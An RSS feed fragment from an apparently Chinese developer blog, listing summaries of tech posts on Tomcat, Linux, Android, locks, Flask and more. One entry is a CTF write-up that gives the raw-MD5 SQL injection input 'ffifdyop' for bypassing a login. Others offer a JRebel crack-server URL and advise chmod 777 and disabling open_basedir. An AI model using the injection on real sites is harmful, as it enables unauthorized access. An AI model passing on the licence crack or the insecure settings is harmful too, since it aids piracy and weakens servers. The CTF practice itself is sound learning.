tomcat部署方式分别是:&#xA;（1）利用Tomcat自动部署&#xA;项目放到webapps目录下,启动tomcat,就回自动部署&#xA;（2）利用控制台进行部署&#xA;控制台不是说cmd,而是tomcat启动后进入root页面,有个manager管理部署项目.&#xA;进入tomcat的manager控制台的deploy区域进行设置就可以部署&#xA;上面这两种都是自己用的,就是平时别人发包过来,然后丢进去,启动tomcat就部署,但是开发工具没有用上面两种.&#xA;platform-zwml-admin这个是我的项目名称&#xA;下面的在IntelliJ idea中使用&#xA;（3）增加自定义的Web部署文件(%Tomcat_Home%\conf\Catalina\localhost\platform-zwml-admin.xml)&#xA;下面一种都在eclipse中使用&#xA;（4）修改%Tomcat_Home%\conf\server.xml文件来部署web应用&#xA;所以web项目不是必须放在webapps文件夹里面才能部署的,放在其它位置为也可以部署,&#xA;eclipse默认放在工作空间的.metadata文件夹,可以修改到其它地方,一般配置在webapps文件夹.&#xA;而idea是配置到out文件夹,就是输出目录.</description>
    </item>
    <item>
      <title>Linux BOND接口配置</title>
      <link>https://bchobby.github.io/posts/4f42458bd634b32646c9758020fbe63d/</link>
      <pubDate>Tue, 31 Jul 2018 22:04:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4f42458bd634b32646c9758020fbe63d/</guid>
      <description>如下使用ip命令创建一个bond接口不指定参数：&#xA;/ # ip link add bond1 type bond&#xA;指定bond接口的mode：&#xA;/ # ip link add bond2 type bond mode balance-xor&#xA;查看新创建的bond接口，bond1未指定mode，其默认为balance-rr模式：&#xA;/ # ip -detail link show type bond&#xA;24: bond1: &amp;lt;BROADCAST,MULTICAST,MASTER&amp;gt; mtu 1500 qdisc noop state DOWN mode DEFAULT group default qlen 1000&#xA;link/ether 8a:88:46:0f:8c:61 brd ff:ff:ff:ff:ff:ff promiscuity 0&#xA;bond mode balance-rr miimon 0 updelay 0 downdelay 0 use_carrier 1 arp_interval 0 arp_validate none arp_all_targets any primary_reselect always fail_over_mac none xmit_hash_policy layer2 resend_igmp 1 num_grat_arp 1 all_slaves_active 0 min_links 0 lp_interval 1 packets_per_slave 1 lacp_rate slow ad_select stable tlb_dynamic_lb 1 addrgenmode eui64 numtxqueues 16 numrxqueues 16</description>
    </item>
    <item>
      <title>物联网之STM32开发一（基础知识）</title>
      <link>https://bchobby.github.io/posts/3b9a9d85ad4ff255695b35fdab4e4f36/</link>
      <pubDate>Tue, 31 Jul 2018 17:25:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3b9a9d85ad4ff255695b35fdab4e4f36/</guid>
      <description>一、ARM体系结构概述 内容概述： 必须要get到的ARM知识&#xA;Cortex-M0处理器介绍&#xA;认识STM32&#xA;STM32F0硬件平台介绍&#xA;必须要get到的ARM知识： STM32的核心部件CPU是Cortex-M 系列处理器&#xA;ARM处理器家族：&#xA;早先经典处理器 包括ARM7、ARM9、ARM11家族。 Cortex-M 系列 为单片机驱动的系统提供的低成本优化方案，应用于传统 的微控制器市场，智能传感器，汽车周边部件等。&#xA;Cortex-A 系列 针对开放式操作系统的高性能处理器； 应用于智能手机，数字电视，智能等高端运用。 Cortex-R 系列 针对实时系统、满足实时性的控制需求； 应于汽车制动系统，动力系统等。&#xA;ARM处理器架构：&#xA;概念：体系结构定义指令集和基于这一体系结构下处理器的 编程模型（基本数据类型、工作模型、寄存器组）。基于同种体系结构可以有多种处理器、每个处理器的性能不同，面向的应用领域也不同。&#xA;ARM体系结构发展：&#xA;目前ARM体系架构共定义了8个版本V1-V8&#xA;V1-V3 最早的版本，目前已废弃&#xA;V4-V6 经典处理器中运用的比较多&#xA;V7 目前Cortex系列处理器主要是这种架构、支持Thumb-2的32位指令集&#xA;V8 兼容ARMv7架构的特性，并支持64位数据处理&#xA;ARM指令集：&#xA;指令集的概念：处理器能够识别并执行的指令集合；每一条指令可处理一个简单或复杂操作（加、加乘…）；每一条指令对应一条或几条汇编指令。&#xA;指令集常见分类：&#xA;复杂指令集（CISC）：包含处理复杂操作的特定指令，指令长度不固定，执行需要多个周期。&#xA;精简指令集（RISC）：指令简单而有效，格式和长度通常是固定的，大多数指令在一个周期内可以执行完毕，ARM的内核是基于RISC体系结构的&#xA;SOC的概念：&#xA;SOC(片上系统)指的是在单个芯片上集成一个完整的计算机系统，所谓完整的系统一般包括中央处理器(CPU)、存储器、以及外围电路等。&#xA;Cortex-M0处理器介绍 主要内容：&#xA;Cortex-M0处理器简介&#xA;Cortex-M0体系结构&#xA;Cortex-M0异常和中断&#xA;Cortex-M0指令集&#xA;Cortex-M0处理器简介：&#xA;Cortex-M 系列产品主要包括 Cortex-M0、Cortex-M1、Cortex-M3、Cortex-M4、Cortex-M7 等，其中 Cortex-M0 主打低功耗和混合信号的处理，M3 主要用来替代 ARM7,重点侧重能耗与性能的平衡，而 M7 则重点放在高性能控制运算领域。&#xA;注：STM32F051微控制器内核就是ARM Cortex-M0&#xA;Cortex-M0结构框图：&#xA;Cortex-M0 微处理器主要包括处理器内核、嵌套向量中断控制器（NVIC）、调试子系统、内部总线系统构成。Cortex-M0 微处理器通过精简的高性能总线（AHB-LITE）与外部进行通信。&#xA;Cortex-M0特性：&#xA;Thumb 指令集，高效、高代码密度；</description>
    </item>
    <item>
      <title>服务器后台自动运行程序和停止</title>
      <link>https://bchobby.github.io/posts/a4e2feb0c6d716fff3b001f4a7519da7/</link>
      <pubDate>Tue, 31 Jul 2018 16:47:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a4e2feb0c6d716fff3b001f4a7519da7/</guid>
      <description>后台运行命令 如何后台运行python程序。&#xA;关键的命令：nohup&#xA;只需要输入下面的命令就可以在后台一直执行python程序啦&#xA;nohup python -u test.py &amp;gt; test.log 2&amp;gt;&amp;amp;1 &amp;amp; 这条命令的意思是，执行test.py程序，并把程序中执行的情况记录到test.log文件中，包括程序异常、程序中打印的信息等。 -u选项表示每多一条信息就实时输出到log.out中，而不是全部输出完毕再输出 &amp;amp;符号表示在后台执行，运行时可以查看日志或者运行 PS: 也可以把上述命令写成nohup python -u test.py &amp;gt; nohup.out 2&amp;gt;&amp;amp;1 &amp;amp;唯一的区别就是把日志信息写到nohup.out文件中去了，两种做法都行。&#xA;输入后，回车。会打印出一个进程号。 查看进程 通过&#xA;ps -A 命令查看当前运行的所有进程。你就会发现刚才生成的进程号在列出的进程里面。&#xA;也可通过&#xA;ps -ef |grep python 查看所有后台Python运行程序&#xA;关闭后台运行 方法一：&#xA;通过&#xA;jobs 命令查看job号（假设为num），然后执行&#xA;kill %num 方法二：&#xA;通过&#xA;ps 命令查看job的进程号（PID，假设为pid），然后执行&#xA;kill pid 例子 在远程服务器端后台运行scrapy爬虫程序：&#xA;我们都知道，在本地运行scrapy程序只需要命令 scrapy crawal myspider，那么在服务器端，如何运用上述后台运行python文件的方法来运行scrapy程序呢？&#xA;简单！再写一个python文件，如run.py，内容如下：&#xA;import os if __name__ == &#39;__main__&#39;: os.system(&#34;scrapy crawl myspider&#34;) 然后执行：&#xA;nohup python -u run.</description>
    </item>
    <item>
      <title>lnmp.org 提供的一键安装包部署Laravel项目遇到的坑及需求</title>
      <link>https://bchobby.github.io/posts/2b4a65afa70630d7b7cf4f4197853c54/</link>
      <pubDate>Mon, 30 Jul 2018 21:08:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2b4a65afa70630d7b7cf4f4197853c54/</guid>
      <description>1. LNMP 环境安装 链接: https://lnmp.org/install.html，如果一键安装成功，网页打开 IP 就可以直接看到 LNMP 环境配置成功的界面。看不到，可能原因有：阿里云 ecs 需要开放80端口：https://yq.aliyun.com/ask/59920spm=5176.10695662.1996646101.searchclickresult.71d87d2do0KvGc&#xA;2. 添加虚拟主机，使用域名访问： https://lnmp.org/faq/lnmp-vhost-add-howto.html&#xA;3. 部署 Laravel 项目， 配置了 vhost 仍报错 500，可能有一下两个原因： ⑴ 删除根目录下因为配置 vhost 生成的 .user.ini，官方 https://lnmp.org/faq/lnmp-vhost-add-howto.html#user.ini LNMP 1.4上如果不想用防跨目录或者修改.user.ini的防跨目录的目录还需要将 /usr/local/nginx/conf/fastcgi.conf 里面的fastcgi_param PHP_ADMIN_VALUE &#34;open_basedir=$document_root/:/tmp/:/proc/&#34;; 在该行行前添加 # 或删除改行，需要重启nginx。 ⑵ 根目录运行 chmod -R 777 storage 和 chmod -R 777 bootstrap，给予这两个目录权限 4. laravel 配置路由除了根目录出现 404 解决办法 https://blog.csdn.net/fatong3/article/details/53493519&#xA;在server {}里加上 location / { try_files $uri $uri/ /index.php?$query_string; } 保存,重启nginx lnmp nginx restart 5. laravel 项目中使用了 Laravel/Excel 插件来构建导出 excel 功能，部署后不能实现功能，原因是 LNMP 环境下需要手动去安装 php fileinfo扩展。 https://www.</description>
    </item>
    <item>
      <title>后台登录（实验吧）writeup</title>
      <link>https://bchobby.github.io/posts/8294cdc799c15e622aeb8946cd9884e5/</link>
      <pubDate>Mon, 30 Jul 2018 16:44:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8294cdc799c15e622aeb8946cd9884e5/</guid>
      <description> 本博客多为与信息安全相关的博文，我希望以此来记录自己的学习轨迹，如有错误，欢迎交流指正。&#xA;终于下定决心入门ctf，在实验吧上尝试第一道题、迈出第一步。 原题链接：http://ctf5.shiyanbar.com/web/houtai/ffifdyop.php 先看源码 关注这里的sql语句&#xA;sql = &#34;SELECT * FROM admin WHERE username = &#39;admin&#39; and password = &#39;&#34;.md5($password,true).&#34;&#39;&#34;; 然后，发现密码被MD5加密了，就是搜索与MD5相关内容，发现下面这些内容。 原博文链接：https://blog.csdn.net/qq_31481187/article/details/59727015&#xA;MD5注入&#xA;$sql = &#34;SELECT * FROM admin WHERE pass = &#39;&#34;.md5($password,true).&#34;&#39;&#34;; md5($password,true)将MD5值转化为了十六进制 思路比较明确，当md5后的hex转换成字符串后，如果包含 ‘or’ 这样的字符串，那整个sql变成&#xA;SELECT * FROM admin WHERE pass = &#39;&#39;or&#39;6&amp;lt;trash&amp;gt;&#39; 提供一个字符串：ffifdyop&#xA;于是直接输入ffifdyop就可以得到flag了。 其实先是发现ffifdyop就在url中，抱着碰运气的想法成功了。 </description>
    </item>
    <item>
      <title>应用程序安装流程</title>
      <link>https://bchobby.github.io/posts/320d140e6c844e3697b7c5f42b659c2c/</link>
      <pubDate>Mon, 30 Jul 2018 15:43:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/320d140e6c844e3697b7c5f42b659c2c/</guid>
      <description>https://maoao530.github.io/2017/01/18/package-install/&#xA;本文介绍APK的安装流程。&#xA;一、安装流程图 APK安装流程，总体可以下图流程，用ProcessOn画的，凑合看：&#xA;从上图我们可以看到apk安装到最后都会调用到这个flow：&#xA;PMS.scanPackageTracedLI =&amp;gt; PMS.scanPackageLI =&amp;gt; PMS.scanPackageDirtyLI&#xA;关于这个flow，之前的博客有详细介绍过，本文不再展开 : https://maoao530.github.io/2017/01/10/packagemanager/&#xA;后续的博文会根据这张图展开说明。&#xA;二、APK文件结构 APK(Android Package)，可以看做是一个zip压缩包，可以通过解压缩工具解开，其文件结构如下：&#xA;目录 or 文件描述assert存放的原生资源文件,通过AssetManager类访问libnative库文件META-INF存放签名信息，用来保证APK包的完整性和系统的安全。系统安装APK时，应用管理器会按照对应算法对包里文件做校验，如果校验结果与META-INF中内容不一致，则不会安装这个APK。res种资源文件系统会在R.java里面自动生成该资源文件的ID，所以访问这种资源文件比较简单，通过R.XXX.ID即可AndroidManifest.xml每个应用都必须定义和包含，描述应用的名字、版本权限、引用的库文件等信息。apk中的AndroidManifest.xml经过压缩，可以通过AXMLPrinter2工具解开。classes.dex是JAVA源码编译后生成的JAVA字节码文件。但Android使用的dalvik虚拟机与标准的JAVA虚拟机不兼容，dex文件与class文件相比，不论是文件结构还是opcode都不一样。resources.arsc编译后的二进制资源文件。 三、APK安装方法 APK有下面4种安装方法：&#xA;方法描述开机过程中安装开机时完成，没有安装界面，如系统应用、其它预置应用adb工具安装没有安装界面，adb install/push xxxx.apk第三方应用安装通过packageinstaller.apk进行安装，有安装界面，如打开文件管理器并点击sdk卡里APK文件网络下载应用安装通过google market应用完成，没有安装界面 简单说明下apk安装的基本过程：&#xA;拷贝目标apk到指定文件目录调用scanPackageLI为apk文件在系统中注册信息 四、应用程序安装过程 上述几种安装方法最终都通过PackageManagerService.scanPackageLI完成，总结起来大致有以下三种方式：&#xA;adb push：&#xA;PackageManagerService的内部类AppDirObserver实现了监听app目录的功能，当把某个APK文件放到app目录下面时，PMS会收到ADD_EVENTS事件&#xA;frameworks\base\services\java\com\android\server\pm\PackageManagerService.java&#xA;adb install：&#xA;安装入口函数为Pm.runInstall&#xA;frameworks\base\cmds\pm\src\com\android\commands\pm\Pm.java&#xA;网络下载应用安装和第三方应用安装：&#xA;安装入口函数为ApplicationPackageManager.installPackage&#xA;frameworks\base\core\java\android\app\ApplicationPackageManager.java&#xA;接下来我们来分别详细说明这些安装流程：&#xA;五、adb push Android 4.4平台，PackageManagerService的内部类AppDirObserver实现了监听app目录的功能，当把某个APK文件放到app目录下面时，PMS会收到ADD_EVENTS事件。&#xA;如果是添加事件，则调用scanPackageLI，并使用updatePermissionsLPw授权；如果是删除事件则调用removePackageLI移除该apk的相关信息。最后都要调用writeLPr重新保存相关信息到packages.xml。&#xA;关于AppDirObserver具体如何监听的，可以查看：AppDirObserver&#xA;不过我在android 7.0 sdk里面没有看到这个类，难道7.0把这个功能砍了？手头没有7.0平台，不好验证。&#xA;我猜测现在通过adb push apk到data/app或者system/app的apk，如果这个监听的功能砍了，那么应该是会通过reboot重启系统，走PMS.main流程，scanDir–&amp;gt;scanPackageLI去安装apk。&#xA;以上待填坑。&#xA;六、adb install adb install 的安装方式，会调用system/core/adb/commandline.cpp中的adb_commandline函数：&#xA;1&#xA;2&#xA;3&#xA;4&#xA;5&#xA;adb_commandline&#xA;install_app_legacy or install_app</description>
    </item>
    <item>
      <title>Access denied for user &#39;root&#39;@&#39;localhost&#39; (using password:YES) 解决方案</title>
      <link>https://bchobby.github.io/posts/05fd2d336a93cac35b4564f1f7c8e89f/</link>
      <pubDate>Mon, 30 Jul 2018 00:06:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/05fd2d336a93cac35b4564f1f7c8e89f/</guid>
      <description> Access denied for user &#39;root&#39;@&#39;localhost&#39;:拒绝用户&#39;root&#39;@&#39;localhost&#39;的访问。&#xA;出现这个报错语句的一般原因是输入了错误的密码，也有可能是是root帐户默认不开放远程访问权限。&#xA;相关的解决方法是重新设置密码和修改root用户的远程访问权限。&#xA;解决方案：打开MySQL目录下的my.ini文件，把“skip-grant-tables”添加进[mysqld]里面，保存并关闭文件。（MySQL8.0路径为：C:\ProgramData\MySQL\MySQL Server 8.0下面)&#xA;停止MySQL服务通过命令行进入MySQL的bin目录，输入“mysql -u root -p”(不输入密码)，回车即可进入数据库。执行“use mysql;”，使用mysql数据库。执行“update user set password=PASSWORD(&#34;123456&#34;) where user=&#39;root&#39;;”（修改root的密码）打开MySQL目录下的my.ini文件，删除“skip-grant-tables”，保存并关闭文件。重启MySQL服务。在命令行中输入“mysql -u root -p 123456”，即可成功连接数据库。 </description>
    </item>
    <item>
      <title>可重入锁和不可重入锁</title>
      <link>https://bchobby.github.io/posts/7f9069c6a57f4be8155a063729c615da/</link>
      <pubDate>Fri, 27 Jul 2018 22:16:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7f9069c6a57f4be8155a063729c615da/</guid>
      <description>可重入锁和不可重入锁 概念区分 当一个线程获得当前实例的锁lock，并且进入了方法A，该线程在方法A没有释放该锁的时候，是否可以再次进入使用该锁的方法B？&#xA;不可重入锁：在方法A释放锁之前，不可以再次进入方法B&#xA;可重入锁：在方法A释放该锁之前可以再次进入方法B;如ReentrantLock和synchronized&#xA;原理分析 不可重入锁的实现：&#xA;public class Lock {&#xA;private boolean isLocked = false;&#xA;public void lock() throws InterruptedException{&#xA;while(isLocked){//如果已经被获取锁，则当前线程只能等待&#xA;wait();&#xA;}&#xA;isLocked = true;&#xA;}&#xA;public void unLock(){&#xA;isLocked = false;&#xA;}&#xA;}&#xA;可重入锁的实例：&#xA;public class ReinnerLock {&#xA;private boolean isLocked = false;&#xA;Thread thread = null;//当前的线程&#xA;public void lock() throws InterruptedException{&#xA;Thread currentThread = Thread.currentThread();&#xA;while(isLocked &amp;amp;&amp;amp; thread!=currentThread){&#xA;wait();&#xA;}&#xA;isLocked = true;&#xA;thread = currentThread;</description>
    </item>
    <item>
      <title>Graphlib JS 学习笔记</title>
      <link>https://bchobby.github.io/posts/5971541c6260986f13da01f3f3c6d7d5/</link>
      <pubDate>Fri, 27 Jul 2018 14:31:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5971541c6260986f13da01f3f3c6d7d5/</guid>
      <description>Graphlib是一个用于直接或间接地制作或修改图画的javascript库&#xA;一、基本概念 (1)、Graphlib只有一个图形类型，我们需要先创建它的实例&#xA;var g = new graphlib.Graph(); 默认情况下，将创建一个不允许多边或复合节点的有向图，构造提供了三个参数： 1. directed 该值为true时图为有向图，default：true 2. multigraph 该值为true时允许一个图在同一对节点之间有多个边，default：false 3. compound 该值为true时允许图具有复合节点-节点可以是其他节点的父节点， default：false 创建有向多边复合图：&#xA;var g = new Graph({ directed: true, compound: true, multigraph: true }); (2)、节点和边的表示&#xA;1.设置节点的id&#xA;var g = new graphlib.Graph(); g.setNode(&#39;a-id&#39;, &#39;a-text&#39;); console.log(&#39;a-id&#39;); // &#39;a-text&#39; //所有与节点相关的函数都使用此id作为唯一标识。 2.边是通过连接的节点来识别的&#xA;var g = new graphlib.Graph(); g.setEdge(&#39;source&#39;, &#39;target&#39;, &#39;text&#39;); console.log(g.edge(&#39;source&#39;, &#39;target&#39;)); 3.边对象 edgeObjs 用来唯一地识别单个对象中的边缘，用于各种边缘查询&#xA;(3)、多图&#xA;(4)、复合图&#xA;(5)、默认标签&#xA;二、API (1)、graph.isDirected() 是否为有向图&#xA;(2)、graph.isMultigraph() 是否为多图&#xA;(3)、graph.isCompound() 是否为复合图</description>
    </item>
    <item>
      <title>IDEA 如何使用JRebel 部署web项目</title>
      <link>https://bchobby.github.io/posts/89543cfb156fff30568a410061057d8f/</link>
      <pubDate>Fri, 27 Jul 2018 12:51:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/89543cfb156fff30568a410061057d8f/</guid>
      <description>IDEA 如何使用JRebel 部署web项目呢?&#xA;【Jrebel 破解码：http://139.199.89.239:1008/88414687-3b91-4286-89ba-2dc813b107ce&#xA;Tomcat 注意设置那两项。】&#xA;步骤&#xA;(1)安装JRebel插件&#xA;File|Settings...&#xA;输入JRebel进行搜索,然后安装.&#xA;注意:安装完JRebel插件之后需要重启IDEA.&#xA;(2)配置tomcat&#xA;Run|&#xA;依次点开Defaults-Tomcat Server-Local,进入Local Tomcat(Tomcat模板)的设置界面&#xA;点击Configure,设置Tomcat路径,并单击OK保存&#xA;修改&#34;Update&#34; 动作和tomcat端口号&#xA;server选项卡,设置On Update action 和 On frame deactivation 两个动作都更新类和资源&#xA;(3)配置输入的classes目录&#xA;File|Project structure&#xA;进入&#34;Project&#34;标签页&#xA;修改&#34;Project compiler output&#34;为D:\software\eclipse\workspace2\&amp;lt;项目名称&amp;gt;\src\main\webapp\WEB-INF\classes&#xA;设置modules的代码编译输出目录. 点击modules 设置右侧 use module compile output path&#xA;都是设置为D:\software\eclipse\workspace2\&amp;lt;项目名称&amp;gt;\src\main\webapp\WEB-INF\classes&#xA;指定Web.xml和WebRoot的路径. 点击web,分别指定&#xA;Web Module deployment descriptor 路径为 D:\software\eclipse\workspace2\convention\src\main\webapp\WEB-INF\web.xml&#xA;和 Web Resource Directory的路径 为 D:\software\eclipse\workspace2\convention\src\main\webapp&#xA;点击Apply.&#xA;进入Artifacts 标签页,修改Output directory:&#xA;(4)添加对应project的应用服务器&#xA;去掉&#34;After launch&#34;的勾选&#xA;保存之后并点击Deployment选项卡,&#xA;选择exploded那项&#xA;右边设置访问的uri即应用路径,&#xA;保存,回到server选项卡,设置On Update action 和 On frame deactivation 两个动作都更新类和资源</description>
    </item>
    <item>
      <title>面试必备之深入理解自旋锁</title>
      <link>https://bchobby.github.io/posts/01fca4c3a777a7d9d4bd63f28ba66ed1/</link>
      <pubDate>Fri, 27 Jul 2018 02:41:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/01fca4c3a777a7d9d4bd63f28ba66ed1/</guid>
      <description>分享一个我自己总结的Java学习的系统知识点以及面试问题，目前已经开源，会一直完善下去，欢迎建议和指导欢迎Star： https://github.com/Snailclimb/Java-Guide&#xA;本文出自：&#xA;http://blog.onlycatch.com/post/自旋锁&#xA;我对原文做了一点补充与修改，我觉得这篇文章写的非常非常好。深入学习，不光可以深入掌握自旋锁，可能提高自己的编程思想。原文作者对于自旋锁的思考很棒，为他点个赞。&#xA;在我的上一篇文章：《面试必备之乐观锁与悲观锁》 已经为大家对比了乐观锁与悲观锁。我们知道CAS算法是乐观锁的一种实现方式，CAS算法中又涉及到自旋锁，所以这里给大家讲一下什么是自旋锁。&#xA;简单回顾一下CAS算法 CAS算法 即compare and swap（比较与交换），是一种有名的无锁算法。无锁编程，即不使用锁的情况下实现多线程之间的变量同步，也就是在没有线程被阻塞的情况下实现变量的同步，所以也叫非阻塞同步（Non-blocking Synchronization）。CAS算法涉及到三个操作数&#xA;需要读写的内存值 V进行比较的值 A拟写入的新值 B 当且仅当 V 的值等于 A时，CAS通过原子方式用新值B来更新V的值，否则不会执行任何操作（比较和替换是一个原子操作）。一般情况下是一个&amp;lt;font color=&#34;red&#34;&amp;gt;自旋操作&amp;lt;/font&amp;gt;，即不断的重试。&#xA;什么是自旋锁？ &amp;lt;font color=&#34;red&#34;&amp;gt;自旋锁（spinlock）&amp;lt;/font&amp;gt;：是指当一个线程在获取锁的时候，如果锁已经被其它线程获取，那么该线程将循环等待，然后不断的判断锁是否能够被成功获取，直到获取到锁才会退出循环。 获取锁的线程一直处于活跃状态，但是并没有执行任何有效的任务，使用这种锁会造成busy-waiting。&#xA;它是为实现保护共享资源而提出一种锁机制。其实，自旋锁与互斥锁比较类似，它们都是为了解决对某项资源的互斥使用。无论是互斥锁，还是自旋锁，在任何时刻，最多只能有一个保持者，也就说，在任何时刻最多只能有一个执行单元获得锁。但是两者在调度机制上略有不同。对于互斥锁，如果资源已经被占用，资源申请者只能进入睡眠状态。但是自旋锁不会引起调用者睡眠，如果自旋锁已经被别的执行单元保持，调用者就一直循环在那里看是否该自旋锁的保持者已经释放了锁，&#34;自旋&#34;一词就是因此而得名。&#xA;Java如何实现自旋锁？ 下面是个简单的例子：&#xA;public class SpinLock { private AtomicReference&amp;lt;Thread&amp;gt; cas = new AtomicReference&amp;lt;Thread&amp;gt;(); public void lock() { Thread current = Thread.currentThread(); // 利用CAS while (!cas.compareAndSet(null, current)) { // DO nothing } } public void unlock() { Thread current = Thread.currentThread(); cas.compareAndSet(current, null); } } lock（)方法利用的CAS，当第一个线程A获取锁的时候，能够成功获取到，不会进入while循环，如果此时线程A没有释放锁，另一个线程B又来获取锁，此时由于不满足CAS，所以就会进入while循环，不断判断是否满足CAS，直到A线程调用unlock方法释放了该锁。</description>
    </item>
    <item>
      <title>the flask mega tutorial自学记录 之 第四章 数据库迁移</title>
      <link>https://bchobby.github.io/posts/5e2ec5a917d3c23d10f37c8e8f9847b7/</link>
      <pubDate>Thu, 26 Jul 2018 17:56:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5e2ec5a917d3c23d10f37c8e8f9847b7/</guid>
      <description>第四章 数据库 一、 Flask架构中的数据库二、DATABASE Migrate数据库迁移三、Flask-SQLAlchemy设置1、设置SQLITE数据库引擎uri2、初始化DB对象及迁移对象 四、数据库模型（类似关系型数据库表结构）五、生成迁移库六、第一个数据库迁移七、数据库升级和降级八、数据库表关系九、玩乐时间 在实际网站开发中，开发者在本地进行开发，测试成功后再把新版本的功能发布的正式应用环境。不断更新升级的过程，怎么能快速的在本地及正式环境中同步数据呢？那就需要下边的知识——数据库迁移技术。 一、 Flask架构中的数据库 其实在FLASK中，是没有自带数据库功能，但是，它可以与各种流行的数据库软件轻易结合，它把这种选择留给开发人员，这正是Flask的灵活支持。&#xA;虽然可供选择的数据库很多，比如关系型数据：mysql、PostgreSQL、mssql、oracle等，还有非关系型数据库。但是，本示例还是选用轻巧的关系型数据库sqlite（没有数据库引擎）。如果要把此应用发布到生产环境，仅需要把数据库引擎切换到其他类型的数据库。&#xA;第三章，我们就引进了几个flask的扩充库。这次，为了更好的管理数据库操作，需要一个第三方的库flask-sqlalchemy。&#xA;介绍下ORM&#xA;ORM 全称 Object Relational Mapping, 翻译过来叫对象关系映射。简单的说，ORM 将数据库中的表与面向对象语言中的类建立了一种对应关系。这样，我们要操作数据库，数据库中的表或者表中的一条记录就可以直接通过操作类、对象、方法或者类实例来完成。&#xA;SQLAlchemy 是Python 社区最知名的 ORM 工具之一，为高效和高性能的数据库访问设计，实现了完整的企业级持久模型。它可以适用各种数据库。&#xA;安装flask-sqlalchemy。 注意：先要激活虚拟环境再安装。&#xA;pip install flask-sqlalchemy 二、DATABASE Migrate数据库迁移 个人理解：这里的迁移不是仅指数据库文件的整体迁移（备份及还原、附加数据库等），也包含微小数据结构改变操作。&#xA;实际应该是所有数据库操作动作对应的语言脚本，通过这些脚本可以快速重复同样的操作。&#xA;很多的数据教程会提到怎么新建、使用数据库操作，但是当APP应用的数据结构变化或扩展后的相关操作，教程很少会提及。&#xA;尤其关系型数据库的关系结构复杂，一旦结构改变，相应的数据就需要对应改变。&#xA;安装flask-migrate&#xA;pip install flask-migrate 注意：先要激活虚拟环境再安装。 三、Flask-SQLAlchemy设置 1、设置SQLITE数据库引擎uri 如前边的章节介绍一样，把此处的设置内容，增添到config.py文件中。&#xA;path.dirname:去掉路径中的文件名称。&#xA;os.path.abspath：获取绝对路径。&#xA;file：当前文件的路径。&#xA;import os basedir = os.path.abspath(os.path.dirname(__file__)) #__file__用来获得模块所在的路径. class Config(object): # ... SQLALCHEMY_DATABASE_URI = os.environ.get(&#39;DATABASE_URL&#39;) or \ #获取环境变量为DATABASE_URL值（windows系统中环境变量的path参数） &#39;sqlite:///&#39; + os.path.join(basedir, &#39;app.db&#39;) #拼接一个sqlite接口引擎 SQLALCHEMY_TRACK_MODIFICATIONS = False #设置为False后，不会记录数据的变更记录。 2、初始化DB对象及迁移对象 app/init.</description>
    </item>
    <item>
      <title>Ubuntu开机自启动脚本配置</title>
      <link>https://bchobby.github.io/posts/a2344db0ec6e2d7b012c0d973d18baee/</link>
      <pubDate>Thu, 26 Jul 2018 11:46:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a2344db0ec6e2d7b012c0d973d18baee/</guid>
      <description>开机启动分多种方式，介绍一种简单的方式，在/etc/rc.local配置一下启动脚本即可。其中rc.local运行在操作系统完全引导成功但是尚未启动login shell之前（也就是说rc.local运行于系统shell级别），此时配置在/etc/profiles或bashrc里的环境变量并未得到执行，因此在rc.local执行阶段看不到任何环境变量。本文以Ubuntu16.04系统为例说明，先看一下默认的rc.local的样子：&#xA;要解决在系统shell中无法加载环境变量可以通过如下方法： 通过source /etc/profile进行加载环境变量，但同时需要修改第一行为#!/bin/bash，由于bash是sh的增强版本，source命令在sh中不识别。当然也可以直接在rc.local里面通过类似export JAVA_HOME=xxx的方式进行动态添加，但显然这种方式就不太通用了。&#xA;以下介绍rc.local中的两种使用场景：&#xA;以root用户自启动脚本 由于系统shell默认以root权限执行，因此可以直接在rc.local写待启动的脚本即可 以普通用户自启动脚本 由于开机默认是以root权限执行，因此这种方式需切换到普通用户在执行脚本即可。 其中红框内的意思是切换到songhongwei用户，然后执行引号中的命令。</description>
    </item>
    <item>
      <title>XYNUOJ</title>
      <link>https://bchobby.github.io/posts/1d1a78d795e6ba5978bcf61c1231c1a8/</link>
      <pubDate>Wed, 25 Jul 2018 18:49:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1d1a78d795e6ba5978bcf61c1231c1a8/</guid>
      <description> 欢迎访问http://xyoj.xynu.edu.cn/ranklist.php练习系统 </description>
    </item>
    <item>
      <title>启动一个线程是调用run()还是start()方法？</title>
      <link>https://bchobby.github.io/posts/de2562a4946c6c9838d9e8a30851f8cf/</link>
      <pubDate>Wed, 25 Jul 2018 17:58:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/de2562a4946c6c9838d9e8a30851f8cf/</guid>
      <description>启动一个线程是调用start()方法，使线程所代表的虚拟处理机处于可运行状态，这意味着它可以由JVM 调度并执行，这并不意味着线程就会立即运行。run()方法是线程启动后要进行回调（callback）的方法。</description>
    </item>
    <item>
      <title>对于loadView和viewDidLoad的解释</title>
      <link>https://bchobby.github.io/posts/214c3f93aaa2ce6d8e0b75aaf2e6fa9d/</link>
      <pubDate>Wed, 25 Jul 2018 10:17:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/214c3f93aaa2ce6d8e0b75aaf2e6fa9d/</guid>
      <description>综上：&#xA;如果当前的VC不使用Interface Builder，请覆盖这个方法，反之如果使用了，则一定不能覆盖这个方法(you must not overridethis method)。loadView这个方法负责创建当前VC的根视图的视图层级(view hierachy)，在这里给self.view赋值(non-nilvalue)，并且不要调用[super loadView];（Your custom implementation of this method should not call super）;viewDidLoad用来做额外的初始化(additional initialization)； 原文链接</description>
    </item>
    <item>
      <title>常见问题汇总（十七）——关于spring data jpa</title>
      <link>https://bchobby.github.io/posts/e1e40c030bc10961a4edc6d717c39b64/</link>
      <pubDate>Wed, 25 Jul 2018 01:12:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e1e40c030bc10961a4edc6d717c39b64/</guid>
